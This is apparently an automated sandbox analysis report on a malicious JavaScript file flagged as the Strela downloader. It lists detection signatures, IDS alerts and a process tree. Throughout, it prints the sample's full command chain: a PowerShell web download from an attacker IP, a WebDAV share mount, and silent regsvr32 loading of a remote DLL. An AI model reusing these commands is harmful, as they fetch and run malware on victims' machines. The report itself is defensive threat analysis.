Edit tour

Windows Analysis Report
22931850270221075.js

Overview

General Information

Sample name:	22931850270221075.js
Analysis ID:	1589018
MD5:	d8dcac7045ee59c6f48c9c47b6cb684f
SHA1:	68ecf3c2db1ff3a1ddb59b5bda56b7918acb7e96
SHA256:	74eb04b7346163539c779a6e70bf290355c07131419c1e473bb8ba4ac96c3ed1
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7044 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6400 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4340 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7460 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7668 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7872 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1720,i,11788301143701952153,5326730289212110203,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7536 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7580 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7732 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7044	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6400, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4340, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6400, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4340, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", ProcessId: 7044, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7580, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49703

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 6400, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 6400, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 6400, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 6400, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 6400, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 6400, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", ProcessId: 7044, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6400, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4340, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7580, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7732, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7580, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 6400, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:30:19.993508+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49702	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:30:22.097400+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49703	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:30:19.993508+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49702	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 22931850270221075.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 22931850270221075.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49702 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49703 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:30:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 